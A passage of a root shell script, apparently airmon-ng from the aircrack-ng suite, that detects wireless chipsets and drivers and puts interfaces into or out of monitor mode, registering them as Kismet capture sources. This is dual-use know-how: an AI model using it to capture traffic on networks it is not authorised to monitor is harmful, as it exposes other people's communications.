then\n        \tgetPhy $2\n        \tTEMP_CHIPSET=\"`dmesg | grep $PHYDEV | grep found | cut -d':' -f 2 | cut -d' ' -f 3`\"\n        \tif [ x$TEMP_CHIPSET = \"x4318\" ]\n        \tthen\n        \t\tCHIPSET=\"$CHIPSET $TEMP_CHIPSET\"\n        \tfi\n        fi\n    fi\n\n    if [ x$DRIVER = \"xprism54\" -o x$DRIVER = \"xp54pci\" -o x$DRIVER = \"xp54usb\" ]\n    then\n        CHIPSET=\"PrismGT \"\n    fi\n\n    if [ x$DRIVER = \"xhostap\" ]\n    then\n        CHIPSET=\"Prism 2/2.5/3\"\n    fi\n\n    if [ x$DRIVER = \"xr8180\" -o x$DRIVER = \"xrtl8180\" ]\n    then\n        CHIPSET=\"RTL8180/RTL8185\"\n    fi\n\n    # r8187 is reporting itself as rtl8187\n    if [ x$DRIVER = \"xrtl8187\" ]\n    then\n        getPhy $2\n       if [ x\"$PHYDEV\" = \"x\" ]\n       then\n               CHIPSET=\"RTL8187 \"\n       else\n               CHIPSET=\"`dmesg | grep $PHYDEV | grep hwaddr | cut -d',' -f 2 | cut -d' ' -f 2`\"\n               if [ x$CHIPSET = \"xRTL8187vB\" ]\n               then\n                       CHIPSET=\"Realtek RTL8187L\"\n               else\n                       CHIPSET=\"Realtek $CHIPSET\"\n               fi\n       fi\n    fi\n    \n    if [ x$DRIVER = \"xr8187\" ]\n    then\n        CHIPSET=\"RTL8187 \"\n    fi\n\n    if [ x$DRIVER = \"xrt2570\" -o x$DRIVER = \"xrt2500usb\" ]\n    then\n        CHIPSET=\"Ralink 2570 USB\"\n    fi\n\n    if [ x$DRIVER = \"xrt2400\" -o x$DRIVER = \"xrt2400pci\" ]\n    then\n        CHIPSET=\"Ralink 2400 PCI\"\n    fi\n\n    if [ x$DRIVER = \"xrt2500\" -o x$DRIVER = \"xrt2500pci\" ]\n    then\n        CHIPSET=\"Ralink 2560 PCI\"\n    fi\n\n    if [ x$DRIVER = \"xrt61\" -o x$DRIVER = \"xrt61pci\" ]\n    then\n        CHIPSET=\"Ralink 2561 PCI\"\n    fi\n\n    if [ x$DRIVER = \"xrt73\" -o x$DRIVER = \"xrt73usb\" ]\n    then\n        CHIPSET=\"Ralink 2573 USB\"\n    fi\n\n\t#if [ x$DRIVER = \"xrt2800usb\" ]\n\t#then\n\t#\tgetPhy $2\n\t#\tCHIPSET=\"Ralink `dmesg | grep rt2800usb | grep firmware | cut -d':' -f 4 | cut -d' ' -f 3 | cut -d'.' -f 1`\"\n\t#fi\n\t\n    if [ x$DRIVER = \"xrt2800\" -o x$DRIVER = \"xrt2800usb\" -o x$DRIVER = \"xrt3070sta\" ]\n    then\n        CHIPSET=\"Ralink RT2870/3070\"\n    fi\n\n    if [ x$DRIVER = \"xipw2100\" ]\n    then\n        CHIPSET=\"Intel 2100B\"\n    fi\n\n    if [ x$DRIVER = \"xipw2200\" ]\n    then\n        CHIPSET=\"Intel 2200BG/2915ABG\"\n    fi\n\n    if [ x$DRIVER = \"xipw3945\" -o x$DRIVER = \"xipwraw\" -o x$DRIVER = \"xiwl3945\" ]\n    then\n        CHIPSET=\"Intel 3945ABG\"\n    fi\n\n    if [ x$DRIVER = \"xipw4965\" -o x$DRIVER = \"xiwl4965\" ]\n    then\n        CHIPSET=\"Intel 4965AGN\"\n    fi\n\n    if [ x$DRIVER = \"xiwlagn\" -o x$DRIVER = \"xiwlwifi\" ]\n    then\n        CHIPSET=\"Intel 4965/5xxx/6xxx/1xxx\"\n        \n        DETECTED_STR=\"`dmesg | grep $DRIVER | grep Detected | tail -n 1 `\"\n        LINK_POS=\"3\"\n        FOUND=\"0\"\n        \n        if [ x\"$DETECTED_STR\" != \"x\" ]\n        then\n        \tINTEL_WORD=\"Link\"\n        \tif [ \"`echo \"$DETECTED_STR\" | grep $INTEL_WORD | wc -l`\" = \"0\" ]\n        \tthen\n        \t\tINTEL_WORD=\"Wireless\"\n        \t\tif [ \"`echo \"$DETECTED_STR\" | grep $INTEL_WORD | wc -l`\" = \"0\" ]\n\t\t\tthen\n\t\t\t\tINTEL_WORD=\"Ultimate\"\n        \t\t\tif [ \"`echo \"$DETECTED_STR\" | grep $INTEL_WORD | wc -l`\" = \"0\" ]\n\t\t\t\tthen\n\t\t\t\t\t\tINTEL_WORD=\"Advanced\"\n\t        \t\tfi\t\n\t\t\tfi\n        \tfi\n        \t\n        \twhile [ $FOUND = \"0\" ]\n\t\tdo\n\t\t\tFOUND=`echo \"$DETECTED_STR\" | cut -d' ' -f $LINK_POS | grep $INTEL_WORD | wc -l`\n\t\t\tLINK_POS=$(($LINK_POS+1))\n\t\tdone\n\n\t\tTEMP_CHIPSET=`echo \"$DETECTED_STR\" | cut -d' ' -f $LINK_POS`\n\n\t\tcase \"x${TEMP_CHIPSET}\" in\n\t#               x5100AGN)\n\t#                       CHIPSET=\"Intel $TEMP_CHIPSET\"\n\t#                       ;;\n\t\t\tx5300)\n\t\t\t\tTYPE_TEMP=`echo \"$DETECTED_STR\" | cut -d' ' -f $(($LINK_POS+1)) | awk -F, '{ print $1 }' `\n\t\t\t\tCHIPSET=\"Intel ${TEMP_CHIPSET}${TYPE_TEMP}\"\n\t\t\t\t;;\n\t\t\tx1000)\n\t\t\t\tTYPE_TEMP=`echo \"$DETECTED_STR\" | cut -d' ' -f $[$LINK_POS+2]`\n\t\t\t\tCHIPSET=\"Intel ${TEMP_CHIPSET}${TYPE_TEMP}\"\n\t\t\t\t;;\n\t\t\t*)\n\t\t\t\tCHIPSET=\"Intel $TEMP_CHIPSET\"\n\t\t\t\t;;\n\t\tesac\n        fi\n\n    fi\n\n\tif [ x$DRIVER = \"xath5k\" ]\n\tthen\n\t\tgetPhy $2\n\t\tCHIPSET=\"Atheros `dmesg | grep $PHYDEV | grep \"chip found\" | cut -d':' -f 2 | cut -d' ' -f 3`\"\n\tfi\n\t\n    if [ x$DRIVER = \"xath_pci\" ]\n    then\n        CHIPSET=\"Atheros \"\n    fi\n    \n    if [ x$DRIVER = \"xath9k\" ]\n    then\n    \tgetPhy $2\n    \tCHIPSET=\"Atheros `dmesg | grep $PHYDEV | grep Atheros | tail -n 1 | cut -d':' -f 2 | cut -d' ' -f 3`\"\n    fi\n\n    if [ x$DRIVER = \"xorinoco\" ]\n    then\n        CHIPSET=\"Hermes/Prism\"\n    fi\n    \n    if [ x$DRIVER = \"xath9k_htc\" -o x$DRIVER = \"xusb\" ]\n    then\n        CHIPSET=\"AR9001/9002/9271\"\n    fi\n    \n    if [ x$DRIVER = \"xwl12xx\" ]\n    then\n            CHIPSET=\"TI WL1251/WL1271\"\n            IS_WL1251=\"`dmesg| grep firmware | grep wl1251 | wc -l`\"\n            IS_WL1271=\"`dmesg| grep firmware | grep wl1271 | wc -l`\"\n\n            if [ $IS_WL1251 != \"0\" ] && [ $IS_WL1271 = \"0\" ]\n            then\n                CHIPSET=\"TI WL1251\"\n            fi\n            if [ $IS_WL1271 != \"0\" ] && [ $IS_WL1251 = \"0\" ]\n            then\n                CHIPSET=\"TI WL1271\"\n            fi\n            # In any other case, we can't determine the chipset and thus give the generic: 1251/1271\n    fi\n    \n    \n    if [ x$DRIVER = \"xr871x_usb_drv\" ]\n    then\n            CHIPSET=\"Realtek 81XX\"\n    fi\n    \n    if [ x$DRIVER = \"xcarl9170\" ]\n    then\n            getPhy $2\n            CHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\\  '{ print $3 \" \" $4 }'`\n\t    if [ `echo $CHIPSET | grep -i atheros | wc -l` -eq 0 ]\n\t    then\n\t\tCHIPSET=`dmesg | grep usb | grep $PHYDEV | awk -F\\  '{ print $5 \" \" $6 }'`\n\t    fi\n    fi\n}\n\ngetPhy() {\n    PHYDEV=\"\"\n    if [ x\"$1\" = \"x\" ]\n    then\n        return\n    fi\n\n    if [ x$MAC80211 = \"x\" ]\n    then\n        return\n    fi\n\n    if [ -d /sys/class/net/$1/phy80211/ ]\n    then\n\tPHYDEV=\"`ls -l \"/sys/class/net/$1/phy80211\" | sed 's/^.*\\/\\([a-zA-Z0-9_-]*\\)$/\\1/'`\"\n    fi\n}\n\ngetNewMon() {\n    i=0\n\n    while [ -d /sys/class/net/$MON_PREFIX$i/ ]\n    do\n        i=$(($i+1))\n    done\n\n    MONDEV=\"$MON_PREFIX$i\"\n}\n\nif [ x\"`which id 2> /dev/null`\" != \"x\" ]\nthen\n\tUSERID=\"`id -u 2> /dev/null`\"\nfi\n\nif [ x$USERID = \"x\" -a x$UID != \"x\" ]\nthen\n\tUSERID=$UID\nfi\n\nif [ x$USERID != \"x\" -a x$USERID != \"x0\" ]\nthen\n\techo Run it as root ; exit ;\nfi\n\niwpriv > /dev/null 2> /dev/null ||\n  { echo Wireless tools not found ; exit ; }\n\nif [ x\"$1\" = \"xcheck\" ] || [ x\"$1\" = \"xstart\" ]\nthen\n    scanProcesses\n    for iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\\.11|WLAN)' | sed 's/^\\([a-zA-Z0-9_.]*\\) .*/\\1/' | grep -v wifi`\n    do\n#         getModule $iface\n#         getDriver $iface\n        checkProcessesIface $iface\n    done\n\n    if [ x\"$2\" = \"xkill\" ]\n    then\n        scanProcesses \"$2\"\n    fi\n    if [ x\"$1\" = \"xcheck\" ]\n    then\n        exit\n    fi\nfi\n\nprintf \"\\n\\n\"\n\nif [ $# -ne \"0\" ]\nthen\n    if [ x$1 != \"xstart\" ] && [ x$1 != \"xstop\" ]\n    then\n        usage\n    fi\n\n    if [ x$2 = \"x\" ]\n    then\n        usage\n    fi\nfi\n\nSYSFS=0\nif [ -d /sys/ ]\nthen\n    SYSFS=1\nfi\n\nprintf \"Interface\\tChipset\\t\\tDriver\\n\\n\"\n\n\nfor iface in `ifconfig -a 2>/dev/null | egrep UNSPEC | sed 's/^\\([a-zA-Z0-9_]*\\) .*/\\1/'`\ndo\n\n if [ x\"`iwpriv $iface 2>/dev/null | grep ipwraw-ng`\" != \"x\" ]\n then\n        printf \"$iface\\t\\tIntel 3945ABG\\tipwraw-ng\"\n        if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n        then\n                cp $KISMET~ $KISMET 2>/dev/null &&\n                echo \"source=ipw3945,$iface,Centrino_abg\" >>$KISMET\n                startStdIface $iface $CH\n                iwconfig $iface rate 1M 2> /dev/null >/dev/null\n                iwconfig $iface txpower 16 2> /dev/null >/dev/null\n        fi\n        if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n        then\n                stopStdIface $iface\n                iwconfig $iface txpower 15 2> /dev/null >/dev/null\n                iwconfig $iface rate 54M 2> /dev/null >/dev/null\n        fi\n        echo\n        continue\n fi\n\n if [ -e \"/proc/sys/dev/$iface/fftxqmin\" ]\n then\n    MADWIFI=1\n    ifconfig $iface up\n    printf \"$iface\\t\\tAtheros\\t\\tmadwifi-ng\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n        IFACE=`wlanconfig ath create wlandev $iface wlanmode monitor -bssid | grep ath`\n        cp $KISMET~ $KISMET 2>/dev/null &&\n        echo \"source=madwifi_g,$iface,Atheros\" >>$KISMET\n        ifconfig $iface up 2>/dev/null >/dev/null\n        if [ $CH -lt 1000 ]\n        then\n            iwconfig $IFACE channel $CH 2>/dev/null >/dev/null\n        else\n            iwconfig $IFACE freq \"$CH\"000000 2>/dev/null >/dev/null\n        fi\n        ifconfig $IFACE up 2>/dev/null >/dev/null\n        UDEV_ISSUE=$?\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n    then\n            echo \"$iface does not support 'stop', do it on ath interface\"\n    fi\n    echo\n    continue\n fi\ndone\n\nif [ $MADWIFI -eq 1 ]\nthen\n\tsleep 1s\nfi\n\nfor iface in `iwconfig 2>/dev/null | egrep '(IEEE|ESSID|802\\.11|WLAN)' | sed 's/^\\([a-zA-Z0-9_.]*\\) .*/\\1/' | grep -v wifi`\ndo\n getModule  $iface\n getDriver  $iface\n getStack   $iface\n getChipset $DRIVER $iface\n\n\n if [ x$MAC80211 = \"x1\" ]\n then\n    getPhy $iface\n    getNewMon\n    printf \"$iface\\t\\t$CHIPSET\\t$DRIVER - [$PHYDEV]\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n        if [ $USE_IW = 1 ]\n        then\n            IW_ERROR=`iw dev $iface interface add $MONDEV type monitor 2>&1 | grep \"nl80211 not found\"`\n            if [ x$IW_ERROR = \"x\" ]\n            then\n                sleep 1s\n\t\tif [ ! -z $3 ]\n                then\n            \t    if [ $3 -lt 1000 ]\n            \t    then\n                \tiwconfig $MONDEV channel $3 >/dev/null 2>&1\n            \t    else\n                \tiwconfig $MONDEV freq \"$3\"000000 >/dev/null 2>&1\n            \t    fi\n            \tfi\n                ifconfig $MONDEV up\n                printf \"\\n\\t\\t\\t\\t(monitor mode enabled on $MONDEV)\"\n            else\n                if [ -f /sys/class/ieee80211/\"$PHYDEV\"/add_iface ]\n                then\n                    echo -n \"$MONDEV\" > /sys/class/ieee80211/\"$PHYDEV\"/add_iface\n                    sleep 1s\n                    if [ $3 -lt 1000 ]\n                    then\n                        iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1\n                    else\n                        iwconfig $MONDEV mode Monitor freq \"$3\"000000 >/dev/null 2>&1\n                    fi\n                    ifconfig $MONDEV up\n                    printf \"\\n\\t\\t\\t\\t(monitor mode enabled on $MONDEV)\"\n                else\n                    printf \"\\n\\nERROR: nl80211 support is disabled in your kernel.\\nPlease recompile your kernel with nl80211 support enabled.\\n\"\n                fi\n            fi\n        else\n            if [ -f /sys/class/ieee80211/\"$PHYDEV\"/add_iface ]\n            then\n                echo -n \"$MONDEV\" > /sys/class/ieee80211/\"$PHYDEV\"/add_iface\n                sleep 1s\n                if [ $3 -lt 1000 ]\n                then\n                    iwconfig $MONDEV mode Monitor channel $3 >/dev/null 2>&1\n                else\n                    iwconfig $MONDEV mode Monitor freq \"$3\"000000 >/dev/null 2>&1\n                fi\n                ifconfig $MONDEV up\n                printf \"\\n\\t\\t\\t\\t(monitor mode enabled on $MONDEV)\"\n            else\n                printf \"\\n\\nERROR: Neither the sysfs interface links nor the iw command is available.\\nPlease download and install iw from\\n$IW_SOURCE\\n\"\n            fi\n        fi\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n    then\n        z=\"`echo $iface | cut -b -${#MON_PREFIX}`\"\n        if [ x$z = \"x$MON_PREFIX\" ]\n        then\n            if [ $USE_IW = 1 ]\n            then\n                IW_ERROR=`iw dev \"$iface\" interface del 2>&1 | grep \"nl80211 not found\"`\n                if [ x$IW_ERROR = \"x\" ]\n                then\n                    printf \" (removed)\"\n                else\n                    if [ -f /sys/class/ieee80211/\"$PHYDEV\"/remove_iface ]\n                    then\n                        echo -n \"$iface\" > /sys/class/ieee80211/\"$PHYDEV\"/remove_iface\n                        printf \" (removed)\"\n                    else\n                        printf \"\\n\\nERROR: nl80211 support is disabled in your kernel.\\nPlease recompile your kernel with nl80211 support enabled.\\n\"\n                fi\n                fi\n            else\n                if [ -f /sys/class/ieee80211/\"$PHYDEV\"/remove_iface ]\n                then\n                    echo -n \"$iface\" > /sys/class/ieee80211/\"$PHYDEV\"/remove_iface\n                    printf \" (removed)\"\n                else\n                    printf \"\\n\\nERROR: Neither the sysfs interface links nor the iw command is available.\\nPlease download and install iw from\\n$IW_SOURCE\\n\"\n                fi\n\t    fi\n        else\n            ifconfig $iface down\n            iwconfig $iface mode managed\n            printf \"\\n\\t\\t\\t\\t(monitor mode disabled)\"\n        fi\n    fi\n    echo\n    continue\n fi\n\n\n if [ x$DRIVER = \"xorinoco\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep get_rid`\" != \"x\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep dump_recs`\" != \"x\" ]\n then\n    printf \"$iface\\t\\tHermesI\\t\\torinoco\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n        cp $KISMET~ $KISMET 2>/dev/null &&\n        echo \"source=orinoco,$iface,HermesI\" >>$KISMET\n        if [ $CH -lt 1000 ]\n        then\n            iwconfig $iface mode Monitor channel $CH >/dev/null 2>&1\n        else\n            iwconfig $iface mode Monitor freq \"$CH\"000000 >/dev/null 2>&1\n        fi\n        iwpriv $iface monitor 1 $CH >/dev/null 2>&1\n        ifconfig $iface up\n        printf \" (monitor mode enabled)\"\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n    then\n        ifconfig $iface down\n        iwpriv $iface monitor 0 >/dev/null 2>&1\n        iwconfig $iface mode Managed >/dev/null 2>&1\n        printf \" (monitor mode disabled)\"\n    fi\n    echo\n    continue\n fi\n\n if [ x$DRIVER = \"xrtl819xU\" ]\n then\n \tprintf \"$iface\\t\\tRealtek 819x\\trtl819xU\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n        startStdIface $iface $CH\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n    then\n        stopStdIface $iface\n    fi\n    echo\n    continue\n fi\n\n if [ x$DRIVER = \"xipw2100\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep set_crc_check`\" != \"x\" ]\n then\n    printf \"$iface\\t\\tIntel 2100B\\tipw2100\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n        cp $KISMET~ $KISMET 2>/dev/null &&\n        echo \"source=ipw2100,$iface,Centrino_b\" >>$KISMET\n        startStdIface $iface $CH\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n    then\n        stopStdIface $iface\n    fi\n    echo\n    continue\n fi\n\n\n if [ x$DRIVER = \"xarusb_lnx\" ] || [ x$DRIVER = \"Otus\" ]\n then\n    printf \"$iface\\t\\tAR9001USB\\tOtus\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n\techo \"Monitor mode not yet supported\"\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n    then\n\tstopStdIface $iface\n    fi\n    echo\n    continue\n fi  \n\n if [ x$DRIVER = \"xWiLink\" ]\n then\n    getChipset $iface\n    printf \"$iface\\t\\t${CHIPSET}\\t\\t${DRIVER}\"\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then \n        printf \"\\n\\t\\t\\t\\tMonitor mode not yet supported\"\n    fi  \n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n    then \n        stopStdIface $iface\n    fi  \n    echo\n    continue\n fi\n\n if [ x$DRIVER = \"xipw2200\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep sw_reset`\" != \"x\" ]\n then\n    MODINFO=`modinfo ipw2200  2>/dev/null | awk '/^version/ {print $2}'`\n    if { echo \"$MODINFO\" | grep -E '^1\\.0\\.(0|1|2|3)$' ; }\n    then\n    \techo \"Monitor mode not supported, please upgrade\"\n    else\n\tprintf \"$iface\\t\\tIntel 2200BG\\tipw2200\"\n\tif [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n\tthen\n\t    cp $KISMET~ $KISMET 2>/dev/null &&\n\t    echo \"source=ipw2200,$iface,Centrino_g\" >>$KISMET\n\t    startStdIface $iface $CH\n\tfi\n\tif [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n\tthen\n\t    stopStdIface $iface\n\tfi\n\n    \tif { echo \"$MODINFO\" | grep -E '^1\\.0\\.(5|7|8|11)$' ; }\n\tthen\n\t\tprintf \" (Warning: bad module version, you should upgrade)\"\n\tfi\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xcx3110x\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep set_backscan`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tNokia 770\\t\\tcx3110x\"\n     if [ x$1 = \"xstart\" ] || [ x$1 = \"xstop\" ]\n     then\n     \tprintf \" (Enable/disable monitor mode not yet supported)\"\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xipw3945\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep set_preamble | grep -v set_crc_check`\" != \"x\" ]\n  then\n        printf \"$iface\\t\\tIntel 3945ABG\\tipw3945\"\n        if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n         then\n                cp $KISMET~ $KISMET 2>/dev/null &&\n                echo \"source=ipw3945,$iface,Centrino_g\" >>$KISMET\n                startStdIface $iface $CH\n        fi\n        if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n         then\n                stopStdIface $iface\n        fi\n        echo\n        continue\n fi\n\n\n if [ x\"`iwpriv $iface 2>/dev/null | grep inact_auth`\" != \"x\" ]\n then\n     if [ -e \"/proc/sys/net/$iface/%parent\" ]\n     then\n        printf \"$iface\\t\\tAtheros\\t\\tmadwifi-ng VAP (parent: `cat /proc/sys/net/$iface/%parent`)\"\n\tif [ x$2 = x$iface ] && [ x$1 = \"xstop\" ]\n\tthen\n\t\twlanconfig $iface destroy\n\t\tprintf \" (VAP destroyed)\"\n\tfi\n\tif [ x$1 = \"xstart\" ]\n\tthen\n\t\tif [ $iface = \"$IFACE\" ]\n\t\tthen\n\t\t\tprintf \" (monitor mode enabled)\"\n\t\tfi\n\t\tif [ x$2 = x$iface ]\n\t\tthen\n\t\t\tprintf \" (VAP cannot be put in monitor mode)\"\n\t\tfi\n\tfi\n\n\techo \"\"\n        continue\n\n     fi\n     printf \"$iface\\t\\tAtheros\\t\\tmadwifi\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=madwifi_g,$iface,Atheros\" >>$KISMET\n         startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xprism54\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep getPolicy`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tPrismGT\\t\\tprism54\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=prism54g,$iface,Prism54\" >>$KISMET\n         ifconfig $iface up\n         if [ $CH -lt 1000 ]\n         then\n             iwconfig $iface mode Monitor channel $CH\n         else\n             iwconfig $iface mode Monitor freq \"$CH\"000000\n         fi\n         iwpriv $iface set_prismhdr 1 >/dev/null 2>&1\n         printf \" (monitor mode enabled)\"\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xhostap\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep antsel_rx`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tPrism 2/2.5/3\\tHostAP\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=hostap,$iface,Prism2\" >>$KISMET\n         if [ $CH -lt 1000 ]\n         then\n             iwconfig $iface mode Monitor channel $CH\n         else\n             iwconfig $iface mode Monitor freq \"$CH\"000000\n         fi\n         iwpriv $iface monitor_type 1 >/dev/null 2>&1\n         ifconfig $iface up\n         printf \" (monitor mode enabled)\"\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xwlan-ng\" ] || [ x\"`wlancfg show $iface 2>/dev/null | grep p2CnfWEPFlags`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tPrism 2/2.5/3\\twlan-ng\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=wlanng,$iface,Prism2\" >>$KISMET\n         wlanctl-ng $iface lnxreq_ifstate ifstate=enable >/dev/null\n         wlanctl-ng $iface lnxreq_wlansniff enable=true channel=$CH \\\n                           prismheader=true wlanheader=false \\\n                           stripfcs=true keepwepflags=true >/dev/null\n         echo p2CnfWEPFlags=0,4,7 | wlancfg set $iface\n         ifconfig $iface up\n         printf \" (monitor mode enabled)\"\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         ifconfig $iface down\n         wlanctl-ng $iface lnxreq_wlansniff enable=false  >/dev/null\n         wlanctl-ng $iface lnxreq_ifstate ifstate=disable >/dev/null\n         printf \" (monitor mode disabled)\"\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$SYSFS = \"x\" ] && [ x\"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`\" != \"x\" ]\n then\n    if [ x\"`iwconfig $iface | grep ESSID | awk -F\\  '{ print $2}' | grep -i rt61`\" != \"x\" ]\n    then\n    \tprintf \"$iface\\t\\tRalink 2561 PCI\\trt61\"\n    fi\n\n    if [ x\"`iwconfig $iface | grep ESSID | awk -F\\  '{ print $2}' | grep -i rt73`\" != \"x\" ]\n    then\n        printf \"$iface\\t\\tRalink 2573 USB\\trt73\"\n    fi\n\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n         startStdIface $iface $CH\n         iwpriv $iface rfmontx 1\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprismheader`\" != \"x\" ]\n         then\n             iwpriv $iface forceprismheader 1\n         fi\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprism`\" != \"x\" ]\n         then\n             iwpriv $iface forceprism 1\n         fi\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n     \tstopStdIface $iface\n    fi\n    echo\n    continue\n\n fi\n\n\n if [ x$DRIVER = \"xrt61\" ]\n then\n    printf \"$iface\\t\\tRalink 2561 PCI\\trt61\"\n\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n         startStdIface $iface $CH\n         iwpriv $iface rfmontx 1\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprismheader`\" != \"x\" ]\n         then\n             iwpriv $iface forceprismheader 1\n         fi\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprism`\" != \"x\" ]\n         then\n             iwpriv $iface forceprism 1\n         fi\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n     \tstopStdIface $iface\n    fi    \n    echo\n    continue\n\n fi\n\n\n if [ x$DRIVER = \"xrt73\" ]\n then\n    printf \"$iface\\t\\tRalink 2573 USB\\trt73\"\n\n    if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n    then\n         startStdIface $iface $CH\n         iwpriv $iface rfmontx 1\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprismheader`\" != \"x\" ]\n         then\n             iwpriv $iface forceprismheader 1\n         fi\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprism`\" != \"x\" ]\n         then\n             iwpriv $iface forceprism 1\n         fi\n    fi\n    if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n     \tstopStdIface $iface\n    fi    \n    echo\n    continue\n\n fi\n\n\n if [ x$DRIVER = \"xrt2500\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep bbp`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tRalink 2560 PCI\\trt2500\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=rt2500,$iface,Ralink_g\" >>$KISMET\n         iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null\n         startStdIface $iface $CH\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xrt2570\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep wpapsk`\" != \"x\" ] && [ x\"`iwpriv $iface 2>/dev/null | grep get_RaAP_Cfg`\" = \"x\" ]\n then\n     printf \"$iface\\t\\tRalink 2570 USB\\trt2570\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=rt2500,$iface,Ralink_g\" >>$KISMET\n         iwconfig $iface mode ad-hoc 2> /dev/null >/dev/null\n         startStdIface $iface $CH\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprismheader`\" != \"x\" ]\n         then\n             iwpriv $iface forceprismheader 1\n         fi\n         if [ x\"`iwpriv $iface 2>/dev/null | grep forceprism`\" != \"x\" ]\n         then\n             iwpriv $iface forceprism 1\n         fi\n     fi\n     if [ x$1 = \"xstop\" ] && [ x$2 = x$iface ]\n     then\n         stopStdIface $iface\n     fi\n     echo\n     continue\n fi\n\n\n if [ x$DRIVER = \"xr8180\" ] || [ x\"`iwpriv $iface 2>/dev/null | grep debugtx`\" != \"x\" ]\n then\n     printf \"$iface\\t\\tRTL8180/RTL8185\\tr8180\"\n     if [ x$1 = \"xstart\" ] && [ x$2 = x$iface ]\n     then\n         cp $KISMET~ $KISMET 2>/dev/null &&\n         echo \"source=rt8180,$iface,Realtek\" >>$KISMET\n         if [ $CH -lt 1000 ]\n         then\n             iwconfig $iface mode Monitor channel $CH\n         else\n             iwconfig $iface mode Monitor freq \"$CH\"000000\n         fi\n         if [ x\"`iwpriv $iface 2>/dev/null | grep prismhdr`\" != \"x\" ]\n         then\n            iwpriv $iface prismhdr 1 >/dev/null 2>&1\n         fi\n         ifconfig $iface up\n         printf \" (monitor mode enabled)\"\n     fi\n     if [ x$1 = 